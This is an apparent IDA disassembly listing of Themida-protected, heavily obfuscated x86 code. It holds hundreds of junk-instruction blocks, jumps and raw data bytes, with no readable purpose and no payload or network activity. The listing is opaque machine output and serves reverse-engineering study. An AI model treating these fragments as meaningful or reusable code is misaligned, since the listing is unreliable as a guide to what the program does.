loc_5ACE87:				; CODE XREF: Themida_:005A2B41j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5A9C79
; ---------------------------------------------------------------------------
		db 68h,	96h, 4
		dd 24890000h, 4B85024h,	1000000h, 58042444h, 8124148Bh
		dd 4C4h, 518D6800h, 3C890000h, 0F85E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACEC2:				; CODE XREF: Themida_:005A19A4j
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4EE8300h, 0FF7BA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ACED5:				; CODE XREF: Themida_:00598A71j
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		push	ecx
		jmp	loc_5AEC28
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 4BB24h, 0DA010000h, 0FFB796E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ACEF5:				; CODE XREF: Themida_:005A0FD0j
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, 29471047h
		sub	ecx, esi
		jmp	loc_59E878
; ---------------------------------------------------------------------------


loc_5ACF08:				; CODE XREF: Themida_:005A73AFj
		mov	edi, 348D12F3h
		xor	edx, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_5A5187
; ---------------------------------------------------------------------------


loc_5ACF18:				; CODE XREF: Themida_:005A2C14j
		add	esp, 4
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		pop	esi
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 4
		jmp	loc_5AC117
; ---------------------------------------------------------------------------


loc_5ACF35:				; CODE XREF: Themida_:0059E0F6j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A342D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89572404h, 0CA0DE9E7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ACF5A:				; CODE XREF: Themida_:005A62A7j
		push	esi
		push	164207Dh
		mov	esi, [esp]
		add	esp, 4
		dec	esi
		jle	loc_5A28C4
		xchg	eax, esi
		jmp	loc_59CB39
; ---------------------------------------------------------------------------


loc_5ACF73:				; CODE XREF: Themida_:005AA0F3j
		pop	ecx
		xor	ebx, eax
		mov	dx, [esp]
		push	ecx
		jmp	loc_5AE31A
; ---------------------------------------------------------------------------
		dd 0E959CF89h, 0FFFF218Ch, 0FD850F4Bh, 81FFFF3Ah, 845715EBh
		dd 14E9530Ah
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACF9B:				; CODE XREF: Themida_:0059C52Dj
					; Themida_:005A9B9Bj
		push	eax
		jmp	loc_5AC6F2
; ---------------------------------------------------------------------------
aUhD		db 'Uh!D',0
		dw 8900h
		dd 2DBE2434h, 816D020Bh, 0CB1D97E6h, 0F208E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACFBA:				; CODE XREF: Themida_:005A6800j
		add	esp, 4
		add	ebx, edi
		push	7418h
		mov	[esp], edx
		push	7C67h
		mov	[esp], ecx
		mov	ecx, 0
		jmp	loc_5AA3B9
; ---------------------------------------------------------------------------


loc_5ACFD9:				; CODE XREF: Themida_:005A143Bj
					; Themida_:005ADD01j
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AD1E0
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 0FF7F4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ACFF5:				; CODE XREF: Themida_:00598628j
		sub	esp, 4
		jmp	loc_59BCFB
; ---------------------------------------------------------------------------


loc_5ACFFD:				; CODE XREF: Themida_:005A2BA8j
					; Themida_:005AAFE7j
		sub	bl, dl
		add	bl, 41h
		jmp	loc_59A794
; ---------------------------------------------------------------------------


loc_5AD007:				; CODE XREF: Themida_:005A92E9j
		push	edx
		mov	edx, 7C362328h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AA8EF
; ---------------------------------------------------------------------------


loc_5AD01D:				; CODE XREF: Themida_:0059C7DFj
		mov	ebp, ebx
		pop	ebx
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A706F
; ---------------------------------------------------------------------------


loc_5AD039:				; CODE XREF: Themida_:0059AC04j
		mov	[esp], edi
		mov	edi, 6C6245D7h
		jmp	loc_5A8A0D
; ---------------------------------------------------------------------------


loc_5AD046:				; CODE XREF: Themida_:005A0124j
		sub	esi, 76D50DABh
		jmp	loc_5A76E3
; ---------------------------------------------------------------------------


loc_5AD051:				; CODE XREF: Themida_:005A7A1Ej
		mov	ebx, 4
		jmp	loc_5A461C
; ---------------------------------------------------------------------------
		db 81h
		dd 616242Ch, 3C8B49F0h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59CF10
; ---------------------------------------------------------------------------


loc_5AD07A:				; CODE XREF: Themida_:005AB541j
		add	ebx, 58FF11C1h
		jmp	loc_5A877B
; ---------------------------------------------------------------------------


loc_5AD085:				; CODE XREF: Themida_:0059EEF0j
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AC5E6
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEB2F8h
; ---------------------------------------------------------------------------


loc_5AD094:				; CODE XREF: Themida_:loc_5995F3j
		shr	ecx, 6
		jnp	loc_59A66B
		xor	ecx, 2DE2309Bh
		push	edi
		mov	edi, 792EA419h
		xor	ecx, edi
		pop	edi
		jmp	loc_5ADB64
; ---------------------------------------------------------------------------


loc_5AD0B1:				; CODE XREF: Themida_:005A9849j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5AB1CF
; ---------------------------------------------------------------------------


loc_5AD0BC:				; CODE XREF: Themida_:005A8B1Fj
		push	esi
		push	ecx
		mov	ecx, 150B683Dh
		jmp	loc_59D59A
; ---------------------------------------------------------------------------


loc_5AD0C8:				; CODE XREF: Themida_:005AE966j
		mov	bl, 5
		push	5B84h
		mov	[esp], eax
		mov	ah, 8Ch
		shl	ah, 8
		add	ah, 0FFh
		sub	esp, 2
		mov	[esp], cx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5AD50A
; ---------------------------------------------------------------------------


loc_5AD0F2:				; CODE XREF: Themida_:005AA93Cj
		add	esp, 4
		jmp	loc_59D818
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 58h
		dd 0C8BCE01h, 4C48124h,	53000000h, 0C381E389h, 4, 4EB81h
		dd 1C870000h, 24248B24h, 0BB241C89h, 71B7A78h, 5F6DEB81h
		dd 0B85006D2h, 14566483h, 0BF0DD8F7h, 257A9D31h, 637E6832h
		dd 37EDBA52h, 0D03167F0h, 3CC3815Ah, 293F0760h,	3CEB81C3h
		dd 8B3F0760h, 0AFE92404h, 66000023h, 68240C8Bh,	48C1h
		dd 0FFC6AFE9h, 124E68FFh, 9BE90000h, 88FFFED5h,	50535BF9h
		dd 8851A7B4h, 0E9EF88E5h, 0FFFF8190h
; ---------------------------------------------------------------------------


loc_5AD188:				; CODE XREF: Themida_:0059E8BCj
		add	dword ptr [esp+4], 27D561EEh
		sub	dword ptr [esp+4], 449223F4h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 449223F4h
		sub	dword ptr [esp+4], 27D561EEh
		push	ebx
		sub	esp, 4
		jmp	loc_5A1FAD
; ---------------------------------------------------------------------------


loc_5AD1B5:				; CODE XREF: Themida_:005A0CECj
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5A3AA2
; ---------------------------------------------------------------------------
		db 0ADh, 53h, 89h
		dd 291468E3h, 0C890000h, 4B924h, 0CB010000h, 4B95159h
		dd 0E9000000h, 0FFFFF312h
; ---------------------------------------------------------------------------


loc_5AD1E0:				; CODE XREF: Themida_:005ACFE6j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_5A52F4
; ---------------------------------------------------------------------------


loc_5AD1F8:				; CODE XREF: Themida_:005A4500j
		and	ax, 69Ah
		sub	ax, 0EA78h
		mov	di, ax
		jmp	loc_5A3439
; ---------------------------------------------------------------------------


loc_5AD208:				; CODE XREF: Themida_:005A090Ej
		sub	edx, ebx
		pop	ebx
		jmp	loc_5AF53C
; ---------------------------------------------------------------------------


loc_5AD210:				; CODE XREF: Themida_:005A0F87j
		pop	esp
		jmp	loc_5A6501
; ---------------------------------------------------------------------------


loc_5AD216:				; CODE XREF: Themida_:005A5C69j
		add	esp, 4
		sub	edi, 8D52A52h
		add	edi, 7C4226FAh
		add	edi, ecx
		sub	edi, 7C4226FAh
		push	edx
		mov	edx, 4C9A54F7h
		shl	edx, 7
		push	ebx
		mov	ebx, 5B3315F4h
		jmp	loc_5999BF
; ---------------------------------------------------------------------------


loc_5AD244:				; CODE XREF: Themida_:005ADDEEj
		pop	edi
		push	esi
		jmp	loc_5A5C77
; ---------------------------------------------------------------------------


loc_5AD24B:				; CODE XREF: Themida_:005AF3D8j
		movzx	ecx, al
		push	7069h
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD25B:				; CODE XREF: Themida_:0059FC1Fj
		mov	edx, 47282FA3h
		or	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5986EB
; ---------------------------------------------------------------------------


loc_5AD26D:				; CODE XREF: Themida_:005A4A6Cj
		not	edi
		push	ecx
		mov	ecx, 47D687C8h
		sub	edi, ecx
		pop	ecx
		mov	eax, edi
		pop	edi
		add	eax, 0FFFFFFFFh
		shl	eax, 1
		sub	eax, 0FFFFFFFFh
		and	eax, 744619D1h
		neg	eax
		xor	eax, 9D02D103h
		jmp	loc_5A4C78
; ---------------------------------------------------------------------------


loc_5AD296:				; CODE XREF: Themida_:005A8928j
		push	ebx
		mov	ebx, 43D16970h
		jmp	loc_5A08FC
; ---------------------------------------------------------------------------


loc_5AD2A1:				; CODE XREF: Themida_:0059C68Ej
		or	cl, 0D6h
		jnb	loc_59D7FD
		xor	cl, 0C4h
		add	bl, cl
		pop	ecx
		sub	bl, 0A7h
		pop	ecx
		mov	ebx, 58905F00h
		jmp	loc_59F6CF
; ---------------------------------------------------------------------------


loc_5AD2BE:				; CODE XREF: Themida_:005AAC10j
		shr	ebx, 7
		xchg	edi, ebx
		jmp	loc_5ADE16
; ---------------------------------------------------------------------------


loc_5AD2C8:				; CODE XREF: Themida_:005A6D7Aj
		xor	ebx, eax
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_59EFE8
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 896A9304h, 247C2954h, 24448104h, 896A9304h, 4815F54h
		dd 0E0DD224h, 0AAB4E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD2F6:				; CODE XREF: Themida_:0059F620j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		push	ebx
		jmp	loc_5AED7E
; ---------------------------------------------------------------------------
		db 87h
		dd 0A0C681CEh, 0E91D3D07h, 98Ch
; ---------------------------------------------------------------------------


loc_5AD310:				; CODE XREF: Themida_:005AC137j
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5A360F
; ---------------------------------------------------------------------------


loc_5AD31A:				; CODE XREF: Themida_:005A24FFj
		xor	[esp], cx
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 68h
		dd 3D60h, 0FF4310E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD32D:				; CODE XREF: Themida_:005A9BFBj
		pop	eax
		or	cl, bl
		jmp	loc_5A2D7B
; ---------------------------------------------------------------------------


loc_5AD335:				; CODE XREF: Themida_:00598BE4j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AAEF2
; ---------------------------------------------------------------------------


loc_5AD349:				; CODE XREF: Themida_:005A3C01j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5A1415
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FFC2FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD361:				; CODE XREF: Themida_:0059C947j
		mov	esp, [esp]
		mov	esi, [esp]
		jmp	loc_5AC3BE
; ---------------------------------------------------------------------------
		dd 1405E42Dh, 7B48051Dh, 0C8297548h, 487B482Dh,	5E40575h
		dd 74051D14h, 0E95DB97Bh, 0FFFF9668h, 56242C89h, 0FF1F64E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD395:				; CODE XREF: Themida_:0059F47Fj
		inc	ebx
		jp	loc_5A9531
		xor	ebx, 983FE4C1h
		jmp	loc_5A271F
; ---------------------------------------------------------------------------


loc_5AD3A7:				; CODE XREF: Themida_:005995A7j
		push	73C53B61h
		pop	edi
		neg	edi
		jmp	loc_5AA2FD
; ---------------------------------------------------------------------------
		dd 4C481h, 4050000h, 33000000h,	4312404h, 24043324h, 0FF24248Bh
		dd 50592434h, 405E089h,	0E9000000h, 0FFFF81F0h,	0D1F7595Bh
		dd 57E9CB87h
		db 0D0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AD3E7:				; CODE XREF: Themida_:005ADF6Bj
		pop	edx
		jmp	loc_5AF2B8
; ---------------------------------------------------------------------------


loc_5AD3ED:				; CODE XREF: Themida_:0059CE71j
		jnz	loc_5A83EB
		sub	edx, 9B378B89h
		mov	edx, edi
		add	al, 0FBh


loc_5AD3FD:				; CODE XREF: Themida_:005A9A06j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 13h
		jmp	loc_5AF3B8
; ---------------------------------------------------------------------------


loc_5AD40B:				; CODE XREF: Themida_:0059CA1Bj
		pop	ebp
		jmp	loc_5A844E
; ---------------------------------------------------------------------------


loc_5AD411:				; CODE XREF: Themida_:005AC1F8j
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 2838E550h
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 7F9C4AC4h
		sub	esp, 4
		jmp	loc_59D397
; ---------------------------------------------------------------------------


loc_5AD438:				; CODE XREF: Themida_:005AEFD9j
		and	ch, 34h
		jmp	loc_59E5E8
; ---------------------------------------------------------------------------


loc_5AD440:				; CODE XREF: Themida_:005A13CDj
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	ebx
		xchg	ebx, edx
		inc	edx
		neg	edx
		shr	edx, 1
		xor	edx, 377589B1h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp]
		jmp	loc_5A5EB6
; ---------------------------------------------------------------------------
		dw 0E946h
		dd 0FFFFE685h, 0A96E8C0Fh, 0E381FFFFh, 7ACA5BD5h, 577E890Fh
		dd 0C28AFFFFh
		db 52h
; ---------------------------------------------------------------------------


loc_5AD4AD:				; CODE XREF: Themida_:005AE6F2j
					; Themida_:005AF29Dj
		jns	loc_59A00F
		push	ebp
		mov	ebp, 0ED060D3h
		neg	ebp
		mov	edi, edi
		pop	ebx
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		jmp	loc_5AB8C4
; ---------------------------------------------------------------------------


loc_5AD4D2:				; CODE XREF: Themida_:005A051Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A198E
; ---------------------------------------------------------------------------


loc_5AD4DB:				; CODE XREF: Themida_:005A9084j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24E47F55h
		jmp	loc_5A9EA7
; ---------------------------------------------------------------------------


loc_5AD4EF:				; CODE XREF: Themida_:005A9CFEj
		sub	edi, edx
		pop	edx
		jmp	loc_59F896
; ---------------------------------------------------------------------------


loc_5AD4F7:				; CODE XREF: Themida_:0059D39Aj
		mov	edx, 285347BDh
		sub	edx, 0C080D656h
		add	eax, edx
		pop	edx
		jmp	loc_59DC43
; ---------------------------------------------------------------------------


loc_5AD50A:				; CODE XREF: Themida_:005AD0EDj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, 1Eh
		jmp	loc_59D233
; ---------------------------------------------------------------------------


loc_5AD51E:				; CODE XREF: Themida_:0059B02Ej
		mov	ecx, [esp]
		add	esp, 4
		shl	ebp, 6
		sub	ebp, 69D9DE1Eh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5A0615
; ---------------------------------------------------------------------------
		dd 0B768h, 24348900h, 1C2CA2BEh, 1C6835Dh, 191FE681h, 0D6F779F7h
		dd 5607EEC1h, 72B68h, 243C8900h, 42474FFh, 83243C8Bh, 48F04C4h
		dd 0D6E95724h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD56F:				; CODE XREF: Themida_:0059D778j
		pop	ebp
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A2BF0
; ---------------------------------------------------------------------------


loc_5AD578:				; CODE XREF: Themida_:0059A57Cj
		sub	esi, edi
		mov	edi, [esp]
		jmp	loc_5A2834
; ---------------------------------------------------------------------------


loc_5AD582:				; CODE XREF: Themida_:005A757Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	1D1Ch
		mov	[esp], esi
		jmp	loc_5AA4AA
; ---------------------------------------------------------------------------


loc_5AD5A5:				; CODE XREF: Themida_:005A10A4j
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_5A9636
; ---------------------------------------------------------------------------


loc_5AD5B3:				; CODE XREF: Themida_:005A3942j
		sub	al, 76h
		pop	ebx
		mov	ch, al
		jmp	loc_5A8AC7
; ---------------------------------------------------------------------------


loc_5AD5BD:				; CODE XREF: Themida_:005A737Aj
		push	ebx
		xor	dword ptr [esp], 2ACC75DBh
		pop	eax
		xor	eax, 2ACC75DBh
		pop	ebx
		push	ebp
		mov	ebp, 77A40590h
		shl	ebp, 6
		jmp	loc_5AB977
; ---------------------------------------------------------------------------


loc_5AD5DA:				; CODE XREF: Themida_:005A7167j
		add	ecx, 776F54E4h
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		push	esi
		mov	esi, 30982FEFh
		add	esi, 749E3435h
		add	esi, 0C722B4C0h
		jmp	loc_5ADA51
; ---------------------------------------------------------------------------
		db 2Dh
		dd 291730EDh, 0FFAEFEE9h, 0C8B66FFh, 432D6824h,	1C890000h
		dd 4EC8324h, 89240C89h,	324668E1h, 0F3E90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD627:				; CODE XREF: Themida_:00598C02j
		pop	edi
		jmp	loc_59C177
; ---------------------------------------------------------------------------


loc_5AD62D:				; CODE XREF: Themida_:005ACA0Fj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 46260EBFh
		inc	ecx
		inc	ecx
		sub	ecx, 0F2C0AAFh
		jmp	loc_5A08D3
; ---------------------------------------------------------------------------


loc_5AD645:				; CODE XREF: Themida_:005ACAB7j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esi, 4
		push	esi
		jmp	loc_5A70D8
; ---------------------------------------------------------------------------
		db 87h
		dd 0EC8356F3h, 24048904h, 0D0F7585Eh, 31F33196h, 0E9F331DEh
		dd 0FFFF29F6h
; ---------------------------------------------------------------------------


loc_5AD674:				; CODE XREF: Themida_:loc_598510j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5A386A
; ---------------------------------------------------------------------------


loc_5AD686:				; CODE XREF: Themida_:005A1603j
		add	al, dh
		pop	edx
		sub	al, dh
		push	dx
		jmp	loc_59AB50
; ---------------------------------------------------------------------------


loc_5AD692:				; CODE XREF: Themida_:005A2EB7j
		not	cx
		push	si
		mov	si, 9CECh
		xor	cx, si
		pop	si
		and	di, cx
		pop	ecx
		inc	di
		push	ebp
		mov	bp, 5C9h
		add	bp, 2171h
		xor	bp, 3A67h
		shl	bp, 7
		xor	bp, 6018h
		jmp	loc_59A4DC
; ---------------------------------------------------------------------------


loc_5AD6C3:				; CODE XREF: Themida_:005ADBE5j
		mov	[esp], edx
		mov	edx, 3FAF6C23h
		xor	edx, 10D21ACFh
		add	eax, edx
		jmp	loc_5AD9D5
; ---------------------------------------------------------------------------
		dd 8106EFC1h, 28EE98EFh, 0F8685084h, 58123376h,	0FF15FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD6ED:				; CODE XREF: Themida_:005A46FDj
		xor	ebx, ebp
		pop	ebp
		shr	ebx, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 51AB543Ch
		jmp	loc_5AA61B
; ---------------------------------------------------------------------------


loc_5AD705:				; CODE XREF: Themida_:005A9135j
		pop	eax
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_5A4587
; ---------------------------------------------------------------------------


loc_5AD718:				; CODE XREF: Themida_:0059C498j
		jmp	loc_59BE24
; ---------------------------------------------------------------------------


loc_5AD71D:				; CODE XREF: Themida_:005A4BDDj
		push	3EA7h
		mov	[esp], eax
		jmp	loc_5A8759
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 3868E689h, 0E900003Ch, 0FFFFB30Ch
; ---------------------------------------------------------------------------


loc_5AD73C:				; CODE XREF: Themida_:005AF522j
		jmp	loc_5A7D5E
; ---------------------------------------------------------------------------


loc_5AD741:				; CODE XREF: Themida_:0059EFEBj
		mov	esi, esp
		jmp	loc_5AB304
; ---------------------------------------------------------------------------


loc_5AD748:				; CODE XREF: Themida_:005995C1j
		xor	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	3E28h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5AEF85
; ---------------------------------------------------------------------------


loc_5AD760:				; CODE XREF: Themida_:005A97ABj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5ADBD2
; ---------------------------------------------------------------------------


loc_5AD775:				; CODE XREF: Themida_:005A7516j
					; Themida_:005AE849j
		push	2F296BECh
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_59C4C4
; ---------------------------------------------------------------------------


loc_5AD784:				; CODE XREF: Themida_:0059D8EEj
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 0FF3270E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AD795:				; CODE XREF: Themida_:005A468Fj
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59E636
; ---------------------------------------------------------------------------


loc_5AD7A2:				; CODE XREF: Themida_:005A355Dj
		sub	esi, 1543371Ch
		inc	esi
		jle	loc_5A1B4D
		shr	esi, 6
		or	esi, 60EA5893h
		jl	loc_5AB0EF
		add	esi, 0BA7A94D8h
		push	edx
		mov	edx, 1
		sub	esi, edx
		pop	edx
		push	ecx
		mov	ecx, 554F0205h
		inc	ecx
		xor	ecx, 34E99E12h
		xor	esi, ecx
		pop	ecx
		add	eax, 44120DF8h
		jmp	loc_5A1FA6
; ---------------------------------------------------------------------------


loc_5AD7E7:				; CODE XREF: Themida_:00599602j
					; Themida_:005A2977j
		and	ecx, 303105D2h
		xchg	eax, ecx
		jmp	loc_5A6267
; ---------------------------------------------------------------------------


loc_5AD7F3:				; CODE XREF: Themida_:005AF147j
		add	ebx, 33B94023h
		add	ebx, eax
		jmp	loc_5A8B5E
; ---------------------------------------------------------------------------


loc_5AD800:				; CODE XREF: Themida_:005A2C7Ej
		pop	esi
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 1B0B5A1Eh
		jmp	loc_5A0A15
; ---------------------------------------------------------------------------


loc_5AD80F:				; CODE XREF: Themida_:005A5EB1j
		dec	dword ptr [esp]
		pushf
		jmp	loc_5A1D29
; ---------------------------------------------------------------------------
		dd 0DAF6DAF6h, 831EF280h, 148904ECh, 68B55124h,	0FE29E580h
		dd 0F800FCDh, 0C0FFFEC3h, 840F05EDh, 0FFFF066Ah, 8E0FDDF6h
		dd 0FFFF07D1h, 4FE9DDF6h, 80FFFFCCh, 0E980D4E9h
		db 6
; ---------------------------------------------------------------------------


loc_5AD851:				; CODE XREF: Themida_:005A544Ej
		push	ebp
		mov	ebp, 2DFE17A6h
		and	ebp, 58E36892h
		not	ebp
		inc	ebp
		add	ebp, 63BC6E11h
		xor	ebp, 8CEF85C9h
		add	esi, ebp
		pop	ebp
		add	[esp+4], esi
		pop	esi
		pop	eax
		push	ebx
		mov	ebx, 6E152ADAh
		sub	ebx, 63740B44h
		jmp	loc_5AA214
; ---------------------------------------------------------------------------


loc_5AD886:				; CODE XREF: Themida_:005A3AADj
		or	edx, 6A097AC9h
		dec	edx
		add	edx, 10102E9Dh
		dec	edx
		shl	edx, 5
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 711F7E09h
		push	ebp
		jmp	loc_59CB42
; ---------------------------------------------------------------------------


loc_5AD8AB:				; CODE XREF: Themida_:0059CBFFj
		sub	edx, 3C8B7D1Eh
		sub	edx, 76DD20F7h
		xor	edx, 0BB5FDE92h
		xor	edx, 4A40084Ah
		sub	edx, 0FFFFFFFFh
		jmp	loc_5A21CF
; ---------------------------------------------------------------------------


loc_5AD8CE:				; CODE XREF: Themida_:005A08CEj
		push	5D1Ah
		jmp	loc_5A9FE9
; ---------------------------------------------------------------------------
		dd 6A95EE81h, 0F5898C44h, 0E155BA5Eh, 0EA01AD8Fh, 32C4E95Dh
		dd 850FFFFFh, 0FFFF46ADh, 0FF950AE9h, 0E9F029FFh, 0FFFFA96Ch
		dd 815EF501h, 5CD66AF5h, 0E9EE2980h, 0FFFEF3D5h
; ---------------------------------------------------------------------------


loc_5AD910:				; CODE XREF: Themida_:0059A357j
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A4D8A
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 423E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AD92A:				; CODE XREF: Themida_:loc_5AC242j
		shr	eax, 4
		jnz	loc_59B8F5
		jmp	loc_59C0BB
; ---------------------------------------------------------------------------
		dd 57240C89h, 3E2C152h,	0FF53B7E9h, 4C483FFh, 7ACDCD81h
		dd 0D5F704F1h, 801EB850h, 0C529FA0Eh, 0E924048Bh, 0FFFEBFF4h
; ---------------------------------------------------------------------------


loc_5AD960:				; CODE XREF: Themida_:005A6D07j
		push	ecx
		jmp	loc_5A9968
; ---------------------------------------------------------------------------


loc_5AD966:				; CODE XREF: Themida_:005AF236j
		xor	edi, [esp]
		pop	esp
		jmp	loc_5A0744
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF75CDh
; ---------------------------------------------------------------------------


loc_5AD974:				; CODE XREF: Themida_:005AA98Cj
		and	esi, 10EC2250h
		jno	loc_5ABD98
		not	esi
		not	esi
		jmp	loc_5A0925
; ---------------------------------------------------------------------------
		db 59h
; ---------------------------------------------------------------------------


loc_5AD98A:				; CODE XREF: Themida_:005A9508j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 45DD0A63h
		jmp	loc_5AC8BC
; ---------------------------------------------------------------------------


loc_5AD99D:				; CODE XREF: Themida_:005A5A9Dj
		sub	edx, 10451200h
		jmp	loc_5A4D39
; ---------------------------------------------------------------------------


loc_5AD9A8:				; CODE XREF: Themida_:005A1DD3j
		add	ecx, edx
		sub	ecx, 309772F3h
		push	edx
		mov	edx, 0
		add	edx, ecx
		jmp	loc_59C37F
; ---------------------------------------------------------------------------


loc_5AD9BD:				; CODE XREF: Themida_:0059ED55j
		add	ecx, edx
		jmp	loc_59EC83
; ---------------------------------------------------------------------------


loc_5AD9C4:				; CODE XREF: Themida_:005A0654j
		add	ebx, 1
		add	ebx, 87F87BD1h
		jmp	loc_5A8C1F
; ---------------------------------------------------------------------------


loc_5AD9D5:				; CODE XREF: Themida_:005AD6D3j
		pop	edx
		add	eax, edi
		jmp	loc_5A0E67
; ---------------------------------------------------------------------------


loc_5AD9DD:				; CODE XREF: Themida_:005A4DC6j
		xor	edi, esi
		jmp	loc_5ABA27
; ---------------------------------------------------------------------------


loc_5AD9E4:				; CODE XREF: Themida_:005A0748j
		mov	[esp], ecx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AD9EC:				; CODE XREF: Themida_:005A6737j
		sub	ebp, 57B96C82h
		jmp	loc_5A5D5F
; ---------------------------------------------------------------------------


loc_5AD9F7:				; CODE XREF: Themida_:005A3844j
		sub	edi, 6F62CDCh
		add	edi, eax
		add	edi, 6F62CDCh
		mov	eax, [esp]
		add	esp, 4
		dec	edi
		add	edi, 49AEBFFh
		or	ebx, edi
		pop	edi
		sub	ebx, 5FDB136Ch
		sub	[edi+24h], ebx
		jmp	loc_5AAFCE
; ---------------------------------------------------------------------------


loc_5ADA23:				; CODE XREF: Themida_:005A682Aj
		mov	eax, ecx
		jmp	loc_59F73C
; ---------------------------------------------------------------------------
aIiyh5		db 'ˆλYhΜ5',0
